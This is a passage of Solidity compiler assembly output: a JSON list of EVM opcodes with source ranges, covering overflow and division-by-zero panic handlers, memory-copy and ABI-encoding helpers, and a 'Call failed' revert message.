927, "name": "DUP3", "source": 1 }, { "begin": 914, "end": 932, "name": "ADD", "source": 1 }, { "begin": 906, "end": 932, "name": "SWAP1", "source": 1 }, { "begin": 906, "end": 932, "name": "POP", "source": 1 }, { "begin": 942, "end": 1007, "name": "PUSH [tag]", "source": 1, "value": "70" }, { "begin": 1004, "end": 1005, "name": "PUSH", "source": 1, "value": "0" }, { "begin": 993, "end": 1002, "name": "DUP4", "source": 1 }, { "begin": 989, "end": 1006, "name": "ADD", "source": 1 }, { "begin": 980, "end": 986, "name": "DUP5", "source": 1 }, { "begin": 942, "end": 1007, "name": "PUSH [tag]", "source": 1, "value": "41" }, { "begin": 942, "end": 1007, "jumpType": "[in]", "name": "JUMP", "source": 1 }, { "begin": 942, "end": 1007, "name": "tag", "source": 1, "value": "70" }, { "begin": 942, "end": 1007, "name": "JUMPDEST", "source": 1 }, { "begin": 804, "end": 1014, "name": "SWAP3", "source": 1 }, { "begin": 804, "end": 1014, "name": "SWAP2", "source": 1 }, { "begin": 804, "end": 1014, "name": "POP", "source": 1 }, { "begin": 804, "end": 1014, "name": "POP", "source": 1 }, { "begin": 804, "end": 1014, "jumpType": "[out]", "name": "JUMP", "source": 1 }, { "begin": 1020, "end": 1097, "name": "tag", "source": 1, "value": "42" }, { "begin": 1020, "end": 1097, "name": "JUMPDEST", "source": 1 }, { "begin": 1057, "end": 1064, "name": "PUSH", "source": 1, "value": "0" }, { "begin": 1086, "end": 1091, "name": "DUP2", "source": 1 }, { "begin": 1075, "end": 1091, "name": "SWAP1", "source": 1 }, { "begin": 1075, "end": 1091, "name": "POP", "source": 1 }, { "begin": 1020, "end": 1097, "name": "SWAP2", "source": 1 }, { "begin": 1020, "end": 1097, "name": "SWAP1", "source": 1 }, { "begin": 1020, "end": 1097, "name": "POP", "source": 1 }, { "begin": 1020, "end": 1097, "jumpType": "[out]", "name": "JUMP", "source": 1 }, { "begin": 1103, "end": 1221, "name": "tag", "source": 1, "value": "43" }, { "begin": 1103, "end": 1221, "name": "JUMPDEST", "source": 1 }, { "begin": 1190, "end": 1214, "name": "PUSH [tag]", "source": 1, "value": "73" }, { "begin": 1208, "end": 1213, "name": "DUP2", "source": 1 }, { "begin": 1190, "end": 1214, "name": "PUSH [tag]", "source": 1, "value": "42" }, { "begin": 1190, "end": 1214, "jumpType": "[in]", "name": "JUMP", "source": 1 }, { "begin": 1190, "end": 1214, "name": "tag", "source": 1, "value": "73" }, { "begin": 1190, "end": 1214, "name": "JUMPDEST", "source": 1 }, { "begin": 1185, "end": 1188, "name": "DUP3", "source": 1 }, { "begin": 1178, "end": 1215, "name": "MSTORE", "source": 1 }, { "begin": 1103, "end": 1221, "name": "POP", "source": 1 }, { "begin": 1103, "end": 1221, "name": "POP", "source": 1 }, { "begin": 1103, "end": 1221, "jumpType": "[out]", "name": "JUMP", "source": 1 }, { "begin": 1227, "end": 1449, "name": "tag", "source": 1, "value": "17" }, { "begin": 1227, "end": 1449, "name": "JUMPDEST", "source": 1 }, { "begin": 1320, "end": 1324, "name": "PUSH", "source": 1, "value": "0" }, { "begin": 1358, "end": 1360, "name": "PUSH", "source": 1, "value": "20" }, { "begin": 1347, "end": 1356, "name": "DUP3", "source": 1 }, { "begin": 1343, "end": 1361, "name": "ADD", "source": 1 }, { "begin": 1335, "end": 1361, "name": "SWAP1", "source": 1 }, { "begin": 1335, "end": 1361, "name": "POP", "source": 1 }, { "begin": 1371, "end": 1442, "name": "PUSH [tag]", "source": 1, "value": "75" }, { "begin": 1439, "end": 1440, "name": "PUSH", "source": 1, "value": "0" }, { "begin": 1428, "end": 1437, "name": "DUP4", "source": 1 }, { "begin": 1424, "end": 1441, "name": "ADD", "source": 1 }, { "begin": 1415, "end": 1421, "name": "DUP5", "source": 1 }, { "begin": 1371, "end": 1442, "name": "PUSH [tag]", "source": 1, "value": "43" }, { "begin": 1371, "end": 1442, "jumpType": "[in]", "name": "JUMP", "source": 1 }, { "begin": 1371, "end": 1442, "name": "tag", "source": 1, "value": "75" }, { "begin": 1371, "end": 1442, "name": "JUMPDEST", "source": 1 }, { "begin": 1227, "end": 1449, "name": "SWAP3", "source": 1 }, { "begin": 1227, "end": 1449, "name": "SWAP2", "source": 1 }, { "begin": 1227, "end": 1449, "name": "POP", "source": 1 }, { "begin": 1227, "end": 1449, "name": "POP", "source": 1 }, { "begin": 1227, "end": 1449, "jumpType": "[out]", "name": "JUMP", "source": 1 }, { "begin": 1455, "end": 1635, "name": "tag", "source": 1, "value": "44" }, { "begin": 1455, "end": 1635, "name": "JUMPDEST", "source": 1 }, { "begin": 1503, "end": 1580, "name": "PUSH", "source": 1, "value": "4E487B7100000000000000000000000000000000000000000000000000000000" }, { "begin": 1500, "end": 1501, "name": "PUSH", "source": 1, "value": "0" }, { "begin": 1493, "end": 1581, "name": "MSTORE", "source": 1 }, { "begin": 1600, "end": 1604, "name": "PUSH", "source": 1, "value": "11" }, { "begin": 1597, "end": 1598, "name": "PUSH", "source": 1, "value": "4" }, { "begin": 1590, "end": 1605, "name": "MSTORE", "source": 1 }, { "begin": 1624, "end": 1628, "name": "PUSH", "source": 1, "value": "24" }, { "begin": 1621, "end": 1622, "name": "PUSH", "source": 1, "value": "0" }, { "begin": 1614, "end": 1629, "name": "REVERT", "source": 1 }, { "begin": 1641, "end": 1835, "name": "tag", "source": 1, "value": "20" }, { "begin": 1641, "end": 1835, "name": "JUMPDEST", "source": 1 }, { "begin": 1681, "end": 1685, "name": "PUSH", "source": 1, "value": "0" }, { "begin": 1701, "end": 1721, "name": "PUSH [tag]", "source": 1, "value": "78" }, { "begin": 1719, "end": 1720, "name": "DUP3", "source": 1 }, { "begin": 1701, "end": 1721, "name": "PUSH [tag]", "source": 1, "value": "42" }, { "begin": 1701, "end": 1721, "jumpType": "[in]", "name": "JUMP", "source": 1 }, { "begin": 1701, "end": 1721, "name": "tag", "source": 1, "value": "78" }, { "begin": 1701, "end": 1721, "name": "JUMPDEST", "source": 1 }, { "begin": 1696, "end": 1721, "name": "SWAP2", "source": 1 }, { "begin": 1696, "end": 1721, "name": "POP", "source": 1 }, { "begin": 1735, "end": 1755, "name": "PUSH [tag]", "source": 1, "value": "79" }, { "begin": 1753, "end": 1754, "name": "DUP4", "source": 1 }, { "begin": 1735, "end": 1755, "name": "PUSH [tag]", "source": 1, "value": "42" }, { "begin": 1735, "end": 1755, "jumpType": "[in]", "name": "JUMP", "source": 1 }, { "begin": 1735, "end": 1755, "name": "tag", "source": 1, "value": "79" }, { "begin": 1735, "end": 1755, "name": "JUMPDEST", "source": 1 }, { "begin": 1730, "end": 1755, "name": "SWAP3", "source": 1 }, { "begin": 1730, "end": 1755, "name": "POP", "source": 1 }, { "begin": 1779, "end": 1780, "name": "DUP3", "source": 1 }, { "begin": 1776, "end": 1777, "name": "DUP3", "source": 1 }, { "begin": 1772, "end": 1781, "name": "SUB", "source": 1 }, { "begin": 1764, "end": 1781, "name": "SWAP1", "source": 1 }, { "begin": 1764, "end": 1781, "name": "POP", "source": 1 }, { "begin": 1803, "end": 1804, "name": "DUP2", "source": 1 }, { "begin": 1797, "end": 1801, "name": "DUP2", "source": 1 }, { "begin": 1794, "end": 1805, "name": "GT", "source": 1 }, { "begin": 1791, "end": 1828, "name": "ISZERO", "source": 1 }, { "begin": 1791, "end": 1828, "name": "PUSH [tag]", "source": 1, "value": "80" }, { "begin": 1791, "end": 1828, "name": "JUMPI", "source": 1 }, { "begin": 1808, "end": 1826, "name": "PUSH [tag]", "source": 1, "value": "81" }, { "begin": 1808, "end": 1826, "name": "PUSH [tag]", "source": 1, "value": "44" }, { "begin": 1808, "end": 1826, "jumpType": "[in]", "name": "JUMP", "source": 1 }, { "begin": 1808, "end": 1826, "name": "tag", "source": 1, "value": "81" }, { "begin": 1808, "end": 1826, "name": "JUMPDEST", "source": 1 }, { "begin": 1791, "end": 1828, "name": "tag", "source": 1, "value": "80" }, { "begin": 1791, "end": 1828, "name": "JUMPDEST", "source": 1 }, { "begin": 1641, "end": 1835, "name": "SWAP3", "source": 1 }, { "begin": 1641, "end": 1835, "name": "SWAP2", "source": 1 }, { "begin": 1641, "end": 1835, "name": "POP", "source": 1 }, { "begin": 1641, "end": 1835, "name": "POP", "source": 1 }, { "begin": 1641, "end": 1835, "jumpType": "[out]", "name": "JUMP", "source": 1 }, { "begin": 1841, "end": 2021, "name": "tag", "source": 1, "value": "45" }, { "begin": 1841, "end": 2021, "name": "JUMPDEST", "source": 1 }, { "begin": 1889, "end": 1966, "name": "PUSH", "source": 1, "value": "4E487B7100000000000000000000000000000000000000000000000000000000" }, { "begin": 1886, "end": 1887, "name": "PUSH", "source": 1, "value": "0" }, { "begin": 1879, "end": 1967, "name": "MSTORE", "source": 1 }, { "begin": 1986, "end": 1990, "name": "PUSH", "source": 1, "value": "12" }, { "begin": 1983, "end": 1984, "name": "PUSH", "source": 1, "value": "4" }, { "begin": 1976, "end": 1991, "name": "MSTORE", "source": 1 }, { "begin": 2010, "end": 2014, "name": "PUSH", "source": 1, "value": "24" }, { "begin": 2007, "end": 2008, "name": "PUSH", "source": 1, "value": "0" }, { "begin": 2000, "end": 2015, "name": "REVERT", "source": 1 }, { "begin": 2027, "end": 2212, "name": "tag", "source": 1, "value": "23" }, { "begin": 2027, "end": 2212, "name": "JUMPDEST", "source": 1 }, { "begin": 2067, "end": 2068, "name": "PUSH", "source": 1, "value": "0" }, { "begin": 2084, "end": 2104, "name": "PUSH [tag]", "source": 1, "value": "84" }, { "begin": 2102, "end": 2103, "name": "DUP3", "source": 1 }, { "begin": 2084, "end": 2104, "name": "PUSH [tag]", "source": 1, "value": "42" }, { "begin": 2084, "end": 2104, "jumpType": "[in]", "name": "JUMP", "source": 1 }, { "begin": 2084, "end": 2104, "name": "tag", "source": 1, "value": "84" }, { "begin": 2084, "end": 2104, "name": "JUMPDEST", "source": 1 }, { "begin": 2079, "end": 2104, "name": "SWAP2", "source": 1 }, { "begin": 2079, "end": 2104, "name": "POP", "source": 1 }, { "begin": 2118, "end": 2138, "name": "PUSH [tag]", "source": 1, "value": "85" }, { "begin": 2136, "end": 2137, "name": "DUP4", "source": 1 }, { "begin": 2118, "end": 2138, "name": "PUSH [tag]", "source": 1, "value": "42" }, { "begin": 2118, "end": 2138, "jumpType": "[in]", "name": "JUMP", "source": 1 }, { "begin": 2118, "end": 2138, "name": "tag", "source": 1, "value": "85" }, { "begin": 2118, "end": 2138, "name": "JUMPDEST", "source": 1 }, { "begin": 2113, "end": 2138, "name": "SWAP3", "source": 1 }, { "begin": 2113, "end": 2138, "name": "POP", "source": 1 }, { "begin": 2157, "end": 2158, "name": "DUP3", "source": 1 }, { "begin": 2147, "end": 2182, "name": "PUSH [tag]", "source": 1, "value": "86" }, { "begin": 2147, "end": 2182, "name": "JUMPI", "source": 1 }, { "begin": 2162, "end": 2180, "name": "PUSH [tag]", "source": 1, "value": "87" }, { "begin": 2162, "end": 2180, "name": "PUSH [tag]", "source": 1, "value": "45" }, { "begin": 2162, "end": 2180, "jumpType": "[in]", "name": "JUMP", "source": 1 }, { "begin": 2162, "end": 2180, "name": "tag", "source": 1, "value": "87" }, { "begin": 2162, "end": 2180, "name": "JUMPDEST", "source": 1 }, { "begin": 2147, "end": 2182, "name": "tag", "source": 1, "value": "86" }, { "begin": 2147, "end": 2182, "name": "JUMPDEST", "source": 1 }, { "begin": 2204, "end": 2205, "name": "DUP3", "source": 1 }, { "begin": 2201, "end": 2202, "name": "DUP3", "source": 1 }, { "begin": 2197, "end": 2206, "name": "DIV", "source": 1 }, { "begin": 2192, "end": 2206, "name": "SWAP1", "source": 1 }, { "begin": 2192, "end": 2206, "name": "POP", "source": 1 }, { "begin": 2027, "end": 2212, "name": "SWAP3", "source": 1 }, { "begin": 2027, "end": 2212, "name": "SWAP2", "source": 1 }, { "begin": 2027, "end": 2212, "name": "POP", "source": 1 }, { "begin": 2027, "end": 2212, "name": "POP", "source": 1 }, { "begin": 2027, "end": 2212, "jumpType": "[out]", "name": "JUMP", "source": 1 }, { "begin": 2218, "end": 2316, "name": "tag", "source": 1, "value": "46" }, { "begin": 2218, "end": 2316, "name": "JUMPDEST", "source": 1 }, { "begin": 2269, "end": 2275, "name": "PUSH", "source": 1, "value": "0" }, { "begin": 2303, "end": 2308, "name": "DUP2", "source": 1 }, { "begin": 2297, "end": 2309, "name": "MLOAD", "source": 1 }, { "begin": 2287, "end": 2309, "name": "SWAP1", "source": 1 }, { "begin": 2287, "end": 2309, "name": "POP", "source": 1 }, { "begin": 2218, "end": 2316, "name": "SWAP2", "source": 1 }, { "begin": 2218, "end": 2316, "name": "SWAP1", "source": 1 }, { "begin": 2218, "end": 2316, "name": "POP", "source": 1 }, { "begin": 2218, "end": 2316, "jumpType": "[out]", "name": "JUMP", "source": 1 }, { "begin": 2322, "end": 2469, "name": "tag", "source": 1, "value": "47" }, { "begin": 2322, "end": 2469, "name": "JUMPDEST", "source": 1 }, { "begin": 2423, "end": 2434, "name": "PUSH", "source": 1, "value": "0" }, { "begin": 2460, "end": 2463, "name": "DUP2", "source": 1 }, { "begin": 2445, "end": 2463, "name": "SWAP1", "source": 1 }, { "begin": 2445, "end": 2463, "name": "POP", "source": 1 }, { "begin": 2322, "end": 2469, "name": "SWAP3", "source": 1 }, { "begin": 2322, "end": 2469, "name": "SWAP2", "source": 1 }, { "begin": 2322, "end": 2469, "name": "POP", "source": 1 }, { "begin": 2322, "end": 2469, "name": "POP", "source": 1 }, { "begin": 2322, "end": 2469, "jumpType": "[out]", "name": "JUMP", "source": 1 }, { "begin": 2475, "end": 2721, "name": "tag", "source": 1, "value": "48" }, { "begin": 2475, "end": 2721, "name": "JUMPDEST", "source": 1 }, { "begin": 2556, "end": 2557, "name": "PUSH", "source": 1, "value": "0" }, { "begin": 2566, "end": 2679, "name": "tag", "source": 1, "value": "91" }, { "begin": 2566, "end": 2679, "name": "JUMPDEST", "source": 1 }, { "begin": 2580, "end": 2586, "name": "DUP4", "source": 1 }, { "begin": 2577, "end": 2578, "name": "DUP2", "source": 1 }, { "begin": 2574, "end": 2587, "name": "LT", "source": 1 }, { "begin": 2566, "end": 2679, "name": "ISZERO", "source": 1 }, { "begin": 2566, "end": 2679, "name": "PUSH [tag]", "source": 1, "value": "93" }, { "begin": 2566, "end": 2679, "name": "JUMPI", "source": 1 }, { "begin": 2665, "end": 2666, "name": "DUP1", "source": 1 }, { "begin": 2660, "end": 2663, "name": "DUP3", "source": 1 }, { "begin": 2656, "end": 2667, "name": "ADD", "source": 1 }, { "begin": 2650, "end": 2668, "name": "MLOAD", "source": 1 }, { "begin": 2646, "end": 2647, "name": "DUP2", "source": 1 }, { "begin": 2641, "end": 2644, "name": "DUP5", "source": 1 }, { "begin": 2637, "end": 2648, "name": "ADD", "source": 1 }, { "begin": 2630, "end": 2669, "name": "MSTORE", "source": 1 }, { "begin": 2602, "end": 2604, "name": "PUSH", "source": 1, "value": "20" }, { "begin": 2599, "end": 2600, "name": "DUP2", "source": 1 }, { "begin": 2595, "end": 2605, "name": "ADD", "source": 1 }, { "begin": 2590, "end": 2605, "name": "SWAP1", "source": 1 }, { "begin": 2590, "end": 2605, "name": "POP", "source": 1 }, { "begin": 2566, "end": 2679, "name": "PUSH [tag]", "source": 1, "value": "91" }, { "begin": 2566, "end": 2679, "name": "JUMP", "source": 1 }, { "begin": 2566, "end": 2679, "name": "tag", "source": 1, "value": "93" }, { "begin": 2566, "end": 2679, "name": "JUMPDEST", "source": 1 }, { "begin": 2713, "end": 2714, "name": "PUSH", "source": 1, "value": "0" }, { "begin": 2704, "end": 2710, "name": "DUP5", "source": 1 }, { "begin": 2699, "end": 2702, "name": "DUP5", "source": 1 }, { "begin": 2695, "end": 2711, "name": "ADD", "source": 1 }, { "begin": 2688, "end": 2715, "name": "MSTORE", "source": 1 }, { "begin": 2537, "end": 2721, "name": "POP", "source": 1 }, { "begin": 2475, "end": 2721, "name": "POP", "source": 1 }, { "begin": 2475, "end": 2721, "name": "POP", "source": 1 }, { "begin": 2475, "end": 2721, "name": "POP", "source": 1 }, { "begin": 2475, "end": 2721, "jumpType": "[out]", "name": "JUMP", "source": 1 }, { "begin": 2727, "end": 3113, "name": "tag", "source": 1, "value": "49" }, { "begin": 2727, "end": 3113, "name": "JUMPDEST", "source": 1 }, { "begin": 2831, "end": 2834, "name": "PUSH", "source": 1, "value": "0" }, { "begin": 2859, "end": 2897, "name": "PUSH [tag]", "source": 1, "value": "95" }, { "begin": 2891, "end": 2896, "name": "DUP3", "source": 1 }, { "begin": 2859, "end": 2897, "name": "PUSH [tag]", "source": 1, "value": "46" }, { "begin": 2859, "end": 2897, "jumpType": "[in]", "name": "JUMP", "source": 1 }, { "begin": 2859, "end": 2897, "name": "tag", "source": 1, "value": "95" }, { "begin": 2859, "end": 2897, "name": "JUMPDEST", "source": 1 }, { "begin": 2913, "end": 3001, "name": "PUSH [tag]", "source": 1, "value": "96" }, { "begin": 2994, "end": 3000, "name": "DUP2", "source": 1 }, { "begin": 2989, "end": 2992, "name": "DUP6", "source": 1 }, { "begin": 2913, "end": 3001, "name": "PUSH [tag]", "source": 1, "value": "47" }, { "begin": 2913, "end": 3001, "jumpType": "[in]", "name": "JUMP", "source": 1 }, { "begin": 2913, "end": 3001, "name": "tag", "source": 1, "value": "96" }, { "begin": 2913, "end": 3001, "name": "JUMPDEST", "source": 1 }, { "begin": 2906, "end": 3001, "name": "SWAP4", "source": 1 }, { "begin": 2906, "end": 3001, "name": "POP", "source": 1 }, { "begin": 3010, "end": 3075, "name": "PUSH [tag]", "source": 1, "value": "97" }, { "begin": 3068, "end": 3074, "name": "DUP2", "source": 1 }, { "begin": 3063, "end": 3066, "name": "DUP6", "source": 1 }, { "begin": 3056, "end": 3060, "name": "PUSH", "source": 1, "value": "20" }, { "begin": 3049, "end": 3054, "name": "DUP7", "source": 1 }, { "begin": 3045, "end": 3061, "name": "ADD", "source": 1 }, { "begin": 3010, "end": 3075, "name": "PUSH [tag]", "source": 1, "value": "48" }, { "begin": 3010, "end": 3075, "jumpType": "[in]", "name": "JUMP", "source": 1 }, { "begin": 3010, "end": 3075, "name": "tag", "source": 1, "value": "97" }, { "begin": 3010, "end": 3075, "name": "JUMPDEST", "source": 1 }, { "begin": 3100, "end": 3106, "name": "DUP1", "source": 1 }, { "begin": 3095, "end": 3098, "name": "DUP5", "source": 1 }, { "begin": 3091, "end": 3107, "name": "ADD", "source": 1 }, { "begin": 3084, "end": 3107, "name": "SWAP2", "source": 1 }, { "begin": 3084, "end": 3107, "name": "POP", "source": 1 }, { "begin": 2835, "end": 3113, "name": "POP", "source": 1 }, { "begin": 2727, "end": 3113, "name": "SWAP3", "source": 1 }, { "begin": 2727, "end": 3113, "name": "SWAP2", "source": 1 }, { "begin": 2727, "end": 3113, "name": "POP", "source": 1 }, { "begin": 2727, "end": 3113, "name": "POP", "source": 1 }, { "begin": 2727, "end": 3113, "jumpType": "[out]", "name": "JUMP", "source": 1 }, { "begin": 3119, "end": 3390, "name": "tag", "source": 1, "value": "28" }, { "begin": 3119, "end": 3390, "name": "JUMPDEST", "source": 1 }, { "begin": 3249, "end": 3252, "name": "PUSH", "source": 1, "value": "0" }, { "begin": 3271, "end": 3364, "name": "PUSH [tag]", "source": 1, "value": "99" }, { "begin": 3360, "end": 3363, "name": "DUP3", "source": 1 }, { "begin": 3351, "end": 3357, "name": "DUP5", "source": 1 }, { "begin": 3271, "end": 3364, "name": "PUSH [tag]", "source": 1, "value": "49" }, { "begin": 3271, "end": 3364, "jumpType": "[in]", "name": "JUMP", "source": 1 }, { "begin": 3271, "end": 3364, "name": "tag", "source": 1, "value": "99" }, { "begin": 3271, "end": 3364, "name": "JUMPDEST", "source": 1 }, { "begin": 3264, "end": 3364, "name": "SWAP2", "source": 1 }, { "begin": 3264, "end": 3364, "name": "POP", "source": 1 }, { "begin": 3381, "end": 3384, "name": "DUP2", "source": 1 }, { "begin": 3374, "end": 3384, "name": "SWAP1", "source": 1 }, { "begin": 3374, "end": 3384, "name": "POP", "source": 1 }, { "begin": 3119, "end": 3390, "name": "SWAP3", "source": 1 }, { "begin": 3119, "end": 3390, "name": "SWAP2", "source": 1 }, { "begin": 3119, "end": 3390, "name": "POP", "source": 1 }, { "begin": 3119, "end": 3390, "name": "POP", "source": 1 }, { "begin": 3119, "end": 3390, "jumpType": "[out]", "name": "JUMP", "source": 1 }, { "begin": 3396, "end": 3565, "name": "tag", "source": 1, "value": "50" }, { "begin": 3396, "end": 3565, "name": "JUMPDEST", "source": 1 }, { "begin": 3480, "end": 3491, "name": "PUSH", "source": 1, "value": "0" }, { "begin": 3514, "end": 3520, "name": "DUP3", "source": 1 }, { "begin": 3509, "end": 3512, "name": "DUP3", "source": 1 }, { "begin": 3502, "end": 3521, "name": "MSTORE", "source": 1 }, { "begin": 3554, "end": 3558, "name": "PUSH", "source": 1, "value": "20" }, { "begin": 3549, "end": 3552, "name": "DUP3", "source": 1 }, { "begin": 3545, "end": 3559, "name": "ADD", "source": 1 }, { "begin": 3530, "end": 3559, "name": "SWAP1", "source": 1 }, { "begin": 3530, "end": 3559, "name": "POP", "source": 1 }, { "begin": 3396, "end": 3565, "name": "SWAP3", "source": 1 }, { "begin": 3396, "end": 3565, "name": "SWAP2", "source": 1 }, { "begin": 3396, "end": 3565, "name": "POP", "source": 1 }, { "begin": 3396, "end": 3565, "name": "POP", "source": 1 }, { "begin": 3396, "end": 3565, "jumpType": "[out]", "name": "JUMP", "source": 1 }, { "begin": 3571, "end": 3732, "name": "tag", "source": 1, "value": "51" }, { "begin": 3571, "end": 3732, "name": "JUMPDEST", "source": 1 }, { "begin": 3711, "end": 3724, "name": "PUSH", "source": 1, "value": "43616C6C206661696C6564000000000000000000000000000000000000000000" }, { "begin": 3707, "end": 3708, "name": "PUSH", "source": 1, "value": "0" }, { "begin": 3699, "end": 3705, "name": "DUP3", "source": 1 }, { "begin": 3695, "end": 3709, "name": "ADD", "source": 1 }, { "begin": 3688, "end": 3725, "name": "MSTORE", "source": 1 }, { "begin": 3571, "end": 3732, "name": "POP", "source": 1 }, { "begin": 3571, "end": 3732, "jumpType": "[out]", "name": "JUMP", "source": 1 }, { "begin": 3738, "end": 4104, "name": "tag", "source": 1, "value": "52" }, { "begin": 3738, "end": 4104, "name": "JUMPDEST", "source": 1 }, { "begin": 3880, "end": 3883, "name": "PUSH", "source": 1, "value": "0" }, { "begin": 3901, "end": 3968, "name": "PUSH [tag]", "source": 1, "value": "103" }, { "begin": 3965, "end": 3967, "name": "PUSH", "source": 1, "value": "B" }, { "begin": 3960, "end": 3963, "name": "DUP4", "source": 1 }, { "begin": 3901, "end": 3968, "name": "PUSH [tag]", "source": 1, "value": "50" }, { "begin": 3901, "end": 3968, "jumpType": "[in]", "name": "JUMP", "source": 1 }, { "begin": 3901, "end": 3968, "name": "tag", "source": 1, "value": "103" }, { "begin": 3901, "end": 3968, "name": "JUMPDEST", "source": 1 }, { "begin": 3894, "end": 3968, "name": "SWAP2", "source": 1 }, { "begin": 3894, "end": 3968, "name": "POP", "source": 1 }, { "begin": 3977, "end": 4070, "name": "PUSH [tag]", "source": 1, "value": "104" }, { "begin": 4066, "end": 4069, "name": "DUP3", "source": 1 }, { "begin": 3977, "end": 4070, "name": "PUSH [tag]", "source": 1, "value": "51" }, { "begin": 3977, "end": 4070, "jumpType": "[in]", "name": "JUMP", "source": 1 }, { "begin": 3977, "end": 4070, "name": "tag", "source": 1, "value": "104" }, { "begin": 3977, "end": 4070, "name": "JUMPDEST", "source": 1 }, { "begin": 4095, "end": 4097, "name": "PUSH", "source": 1, "value": "20" }, { "begin": 4090, "end": 4093, "name": "DUP3", "source": 1 }, { "begin": 4086, "end": 4098, "name": "ADD", "source": 1 }, { "begin": 4079, "end": 4098, "name": "SWAP1", "source": 1 }, { "begin": 4079, "end": 4098, "name": "POP", "source": 1 }, { "begin": 3738, "end": 4104, "name": "SWAP2", "source": 1 }, { "begin": 3738, "end": 4104, "name": "SWAP1", "source": 1 }, { "begin": 3738, "end": 4104, "name": "POP", "source": 1 }, { "begin": 3738, "end": 4104, "jumpType": "[out]", "name": "JUMP", "source": 1 }, { "begin": 4110, "end": 4529, "name": "tag", "source": 1, "value": "34" }, { "begin": 4110, "end": 4529, "name": "JUMPDEST", "source": 1 }, { "begin": 4276, "end": 4280, "name": "PUSH", "source": 1, "value": "0" }, { "begin": 4314, "end": 4316, "name": "PUSH", "source": 1, "value": "20" }, { "begin": 4303, "end": 4312, "name": "DUP3", "source": 1 }, { "begin": 4299, "end": 4317, "name": "ADD", "source": 1 }, { "begin": 4291, "end": 4317, "name": "SWAP1", "source": 1 }, { "begin": 4291, "end": 4317, "name": "POP", "source": 1 }, { "begin": 4363, "end": 4372, "name": "DUP2", "source": 1 }, { "begin": 4357, "end": 4361, "name": "DUP2", "source": 1 }, { "begin": 4353, "end": 4373, "name": "SUB", "source": 1 }, { "begin": 4349, "end": 4350, "name": "PUSH", "source": 1, "value": "0" }, { "begin": 4338, "end": 4347, "name": "DUP4", "source": 1 }, { "begin": 4334, "end": 4351, "name": "ADD", "source": 1 }, { "begin": 4327, "end": 4374, "name": "MSTORE", "source": 1 }, { "begin": 4391, "end": 4522, "name": "PUSH [tag]", "source": 1, "value": "106" }, { "begin": 4517, "end": 4521, "name": "DUP2", "source": 1 }, { "begin": 4391, "end": 4522, "name": "PUSH [tag]", "source": 1, "value": "52" }, { "begin": 4391, "end": 4522, "jumpType": "[in]", "name": "JUMP", "source": 1 }, { "begin": 4391, "end": 4522, "name": "tag", "source": 1, "value": "106" }, { "begin": 4391, "end": 4522, "name": "JUMPDEST", "source": 1 }, { "begin": 4383, "end": 4522, "name": "SWAP1", "source": 1 }, { "begin": 4383, "end": 4522, "name": "POP", "source": 1 }, { "begin": 4110, "end": 4529, "name": "SWAP2", "source": 1 }, { "begin": 4110, "end": 4529, "name": "SWAP1", "source": 1 }, { "begin": 4110, "end": 4529, "name": "POP", "source": 1 }, { "begin": 4110, "end": 4529, "jumpType": "[out]", "name": "JUMP", "source": 1 }, { "begin": 4616, "end": 4733, "name": "tag", "source": 1, "value": "54" }, { "begin": 4616, "end": 4733, "name": "JUMPDEST", "source": 1 }, { "begin": 4725, "end": 4726, "name": "PUSH", "source": 1, "value": "0" }, { "begin": 4722, "end": 4723, "name": "DUP1", "source": 1 }, { "begin": 4715, "end": 4727, "name": "REVERT", "source": 1 }, { "begin": 4862, "end": 4978, "name": "tag", "source": 1, "value": "56" }, { "begin": 4862, "end": 4978, "name": "JUMPDEST", "source": 1 }, { "begin": 4932, "end": 4953, "name": "PUSH [tag]", "source": 1, "value": "111" }, { "begin": 4947, "end": 4952, "name": "DUP2", "source": 1 }, { "begin": 4932, "end": 4953, "name": "PUSH [tag]", "source": 1, "value": "40" }, { "begin": 4932, "end": 4953, "jumpType": "[in]", "name": "JUMP", "source": 1 }, { "begin": 4932, "end": 4953, "name": "tag", "source": 1, "value": "111" }, { "begin": 4932, "end": 4953, "name": "JUMPDEST", "source": 1 }, { "begin": 4925, "end": 4930, "name": "DUP2", "source": 1 }, { "begin": 4922, "end": 4954, "name": "EQ", "source": 1 }, { "begin": 4912, "end": 4972, "name": "PUSH [tag]", "source": 1, "value": "112" }, { "begin": 4912, "end": 4972, "name": "JUMPI", "source": 1 }, { "begin": 4968, "end": 4969, "name": "PUSH", "source": 1, "value": "0" }, { "begin": 4965, "end": 4966, "name": "DUP1", "source": 1 }, { "begin": 4958, "end": 4970, "name": "REVERT", "source": 1 }, { "begin": 4912, "end": 4972, "name": "tag", "source": 1, "value": "112" }, { "begin": 4912, "end": 4972, "name": "JUMPDEST", "source": 1 }, { "begin": 4862, "end": 4978, "name": "POP", "source": 1 }, { "begin": 4862, "end": 4978, "jumpType": "[out]", "name": "JUMP", "source": 1 }, { "begin": 4984, "end": 5121, "name": "tag", "source": 1, "value": "57" }, { "begin": 4984, "end": 5121, "name": "JUMPDEST", "source": 1 }, { "begin": 5038, "end": 5043, "name": "PUSH", "source": 1, "value": "0" }, { "begin": 5069, "end": 5075, "name": "DUP2", "source": 1 }, { "begin": 5063, "end": 5076, "name": "MLOAD", "source": 1 }, { "begin": 5054, "end": 5076, "name": "SWAP1", "source": 1 }, { "begin": 5054, "end": 5076, "name": "POP", "source": 1 }, { "begin": 5085, "end": 5115, "name": "PUSH [tag]", "source": 1, "value": "114" }, { "begin": 5109, "end": 5114, "name": "DUP2", "source": 1 }, { "begin": 5085, "end": 5115, "name": "PUSH [tag]", "source": 1, "value": "56" }, { "begin": 5085, "end": 5115, "jumpType": "[in]", "name": "JUMP", "source": 1 }, { "begin": 5085, "end": 5115, "name": "tag", "source": 1, "value": "114" }, { "begin": 5085, "end": 5115, "name": "JUMPDEST", "source": 1 }, { "begin": 4984, "end": 5121, "name": "SWAP3", "source": 1 }, { "begin": 4984, "end": 5121, "name": "SWAP2", "source": 1 }, { "begin": 4984, "end": 5121, "name": "POP", "source": 1 }, { "begin": 4984, "end": 5121, "name": "POP", "source": 1 }, { "begin": 4984, "end": 5121, "jumpType": "[out]", "name": "JUMP", "source": 1 }, { "begin": 5127, "end": 5472, "name": "tag", "source": 1, "value": "36" }, { "begin": 5127, "end": 5472, "name": "JUMPDEST", "source": 1 }, { "begin": 5194, "end": 5200, "name": "PUSH", "source": 1, "value": "0" }, { "begin": 5243, "end": 5245, "name": "PUSH", "source": 1, "value": "20" }, { "begin": 5231, "end": 5240, "name": "DUP3", "source": 1 }, { "begin": 5222, "end": 5229, "name": "DUP5", "source": 1 }, { "begin": 5218, "end": 5241, "name": "SUB", "source": 1 }, { "begin": 5214, "end": 5246, "name": "SLT", "source": 1 }, { "begin": 5211, "end": 5330, 